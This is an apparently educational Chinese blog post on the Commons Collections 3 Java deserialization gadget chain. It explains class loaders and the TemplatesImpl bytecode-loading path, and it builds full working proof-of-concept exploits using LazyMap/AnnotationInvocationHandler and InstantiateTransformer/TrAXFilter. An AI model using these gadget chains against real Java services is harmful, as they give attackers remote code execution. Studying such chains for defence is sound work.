commons-collections3反序列化链分析

前言

这是我的第二篇CC链分析的文章,希望师傅们能喜欢,如果我有说错的或者不足的地方,希望师傅们多多指点

类加载器

CC3这条链的话得引入类加载器的相关内容,这里也就稍微说一下吧,因为我也是先自己分析一两遍,再写一下文章当作笔记来加深一下印象。

类加载器是Java Runtime Environment 的一部分,负责动态加载Java类到Java虚拟机的内存空间中,用于加载系统,网络或者其他来源的类文件

image-20220226111741490

如上图,把Test.java编译成Test.class文件,但是如果Test.class文件要再java虚拟机内存中运行需要经过一系列的类操作(加载 验证 准备 解析,初始化)

加载器一共有4种加载器,分别是引导类加载器BootstrapClassLoader,扩展类加载器ExtensionsClassLoader,App类加载器/系统类加载器AppClassLoader和自定义类加载器UserDefineClassLoader

需要使用类的时候,会将生成的class文件加载到内存当中生成class对象进行使用

这里加载过程是使用的双亲委派模式,双亲委派模式其实是走的单线,双亲只是翻译过来,特地的类加载器接到加载类的请时,会先把任务委托给父类加载器,请求父类加载去去加载,当父类加载器无法加载,才会给到子类加载器。大致意思就是先给父类看,父类不能加载才自己进行加载,这样的好处就是可以避免重复加载多次 ,可以看如下代码进行理解,对parent进行了是否为空的判断,如果有parent,先让parent去加载

image-20220226120142413

CLassLoader类核心方法

除了BootstrapClassLoader,其他类加载器都是继承自ClassLoader类

loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

在这个方法中,首先使用findLoadedClass来看name是否被加载过,如果没被加载,会使用父加载器调用loadClass方法,如果父加载器为null,类加载器加载jvm内置的加载器,如果通过上述步骤拿到了对应的类,并且接收到的resolve参数的值为true,就会调用resolveClass方法来处理类

findCLass

1
2
3
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}

查找指定的类

findLoadedClass

1
2
3
4
5
protected final Class<?> findLoadedClass(String name) {
if (!checkName(name))
return null;
return findLoadedClass0(name);
}

查找已经加载过的类

defineClass

1
2
3
4
5
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}

定义一个java类,把字节码解析成Class对象

resolveClass

1
2
3
4
5
protected final void resolveClass(Class<?> c) {
resolveClass0(c);
}

private native void resolveClass0(Class c);

链接指定Java类

加载流程

不管是加载远程的class还是本地的class或者jar文件都是经历loadClass->findClass->defineClass 这三个方法调用,其中最重要的是defineClass方法

URLClassLoader

这里再来学习一下URLClassLoader这个类,他继承自ClassLoader类,可以加载本地磁盘和网络中的jar包类文件

加载本地Class文件

这里先本地编译一个ch1e.java文件为ch1e.class,顺便丢到D盘下的class文件夹下

image-20220226122056745

然后再编写一个类,使用URLClassLoader来加载这个class文件

1
2
3
4
5
6
7
8
9
10
11
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Test {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL("file:///D:\\class\\")});
Class<?> c=urlClassLoader.loadClass("ch1e");
c.newInstance();
}
}

然后运行即可看到效果

image-20220226122504744

加载远程Class文件

上面演示了加载本地Class文件,他也可以加载远程的Class文件,刚刚是file协议,现在是http协议,我们可以使用python开个http服务

image-20220226123554695

这里其实在写文章的时候有个小坑,我换完以后他怎么样都能执行,原因是我没把他ch1e.java源文件删了,删了就正常了

defineClass加载字节码

编写一个小demo来看看

1
2
3
4
5
6
7
8
9
10
11
import java.lang.reflect.Method;
import java.util.Base64;
public class eee {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

上面这个demo是演示了一下让系统的defineClass来加载字节码

在defineClass被调用的时候是不会对类进行初始化操作的,只有显式的调用构造函数,初始化代码才能被执行。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。一般情况下,defineClass的作用域一般是不开放的

TemplatesImpl加载字节码

上面刚说了一般情况下,defineClass的作用域一般是不开放的,但是这里就刚好遇到了一个TemplatesImpl

TemplatesImpl位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,他定义了一个内部类TransletClassLoader,TransletClassLoader的defineClass方法如下,这个内部类重写了defineClass方法,并且是缺省类型,同包下可以访问,就可以被外部调用

image-20220226140231028

这个defineClass调用了defineClass方法,这里就作为链子的终点,那么我们要寻找一条链子,必须先找到调用这个被重写的defineClass方法,于是查找该函数的用法

image-20220226140604780

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new Hashtable();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

defineTransletClasses方法如上,在for循环语句中调用到了loader.defineClass(_bytecodes[i]);,那么我们现在需要找到哪里调用了defineTransletClasses方法

image-20220226153855607

我们定位到getTransletInstance方法,这里要_name不等于null并且 _class等于null才会调用defineTransletClasses

继续寻找调用getTransletInstance方法的方法

image-20220226154032578

找到newTransformer方法,然后继续寻找调用newTransformer方法的方法

ok,链子到此为止,我们可以来准备着手写poc了,我们这里理一下大致的条件_name不等于null并且 _class要等于null _bytecodes不等于null ,除此之外, _tfactory也需要设置,因为他需要调用 _tfactory的一个方法,但是这里 _tfactory有transient关键字修饰,无法被序列化,但是在readObject方法中给 _tfactory = new TransformerFactoryImpl();赋值了

首先我们可以先把开头和结尾写出来,实例化一个TemplatesImpl对象,调用这个对象的newTransformer()方法

1
2
3
4
5
6
7
8
9
10
11
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;


public class Test {
public static void main(String[] args) throws TransformerConfigurationException {
TemplatesImpl templates=new TemplatesImpl();
templates.newTransformer();
}
}

这里完成了第一步,第二步我们要先获取一个Templates的Class对象,然后设置他的私有属性的值。下面的demo.class是我自己写的一个类,让Test.java去加载这个恶意类,恶意类的代码如下image-20220226164838451

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}

第二步完成的poc如上,可以手动运行一下, 就会发现,抛出了一个空指针异常,那么我们直接先断点调试一下

image-20220226163844675

到如上位置,if判断那,判断了一下父类的名字是否是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不是的话就会执行

1
_auxClasses.put(_class[i].getName(), _class[i]);

但是我们可以看到此时的_auxClasses的值是nullimage-20220226164155119

现在有两种方法,一种是让if里的语句成立,一种是让else里的语句可以执行,但是可以继续往下看,下面的if语句判断了_transletIndex是否大于0,如果小于0,也会抛出异常,但是我们可以看到他默认赋初值是-1,所以我们在第一个if必须成立

image-20220226164305835

要使if语句成立,只要把我们的demo对象继承自这个类,然后实现他的抽象方法,然后重新编译替换进去即可

这时候重新运行,即可弹出计算器

image-20220226164656030

到这已经差不多了,只需要把templates.newTransformer();替换成cc1链后面的内容即可,直接给出poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
hashMap.put("value","key");
Map outerMap = LazyMap.decorate(hashMap, chainedTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler=(InvocationHandler) constructor.newInstance(Retention.class,outerMap);
Map proxyMap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler);
handler= (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream bo=new ByteArrayOutputStream();
ObjectOutputStream oo=new ObjectOutputStream(bo);
oo.writeObject(handler);
oo.close();
ByteArrayInputStream bi=new ByteArrayInputStream(bo.toByteArray());
ObjectInputStream oi = new ObjectInputStream(bi);
Object o=(Object) oi.readObject();
}
}

但是你如果阅读过ysoserial你会发现,他的cc3链用的不是InvokerTransformer,而是其他的。我们现在重新进行分析。

从TemplatesImpl的newTransformer()方法进行分析,我们这里重新寻找调用

TemplatesImpl的newTransformer方法的方法

image-20220226182522590

这里我们直接选择TrAXFilter这个对象的构造函数

image-20220226182558452

这个类的构造函数传入了一个Templates对象,并且调用这个对象的newTransformer方法,但是问题来了,TrAXFilter对象并没有实现Serializable 接口,所以只能通过TrAXFilter.class入手

这里除了TrAXFilter类以外,还用到InstantiateTransformer这个类,他的构造方法如下

image-20220226183324405

可以看到,我们需要传入一个Class和Object数组,他会把传入的参数作为input的构造函数的参数传入,相当于他调用了构造函数,最终链子如下

InstantiateTransformer.transform()->TrAXFilter.() -> TemplatesImpl.newTransformer() ->

TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses()

-> TransletClassLoader.defineClass()

所以只要把之前的poc里的内容小改一下即可

最后的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}

这个POC我测试是能弹计算器,因为自己水平比较低,改POC的时候比较乱,如果要是有不正确的希望师傅们指出

最后再来一张链子的截图吧

image-20220226190656430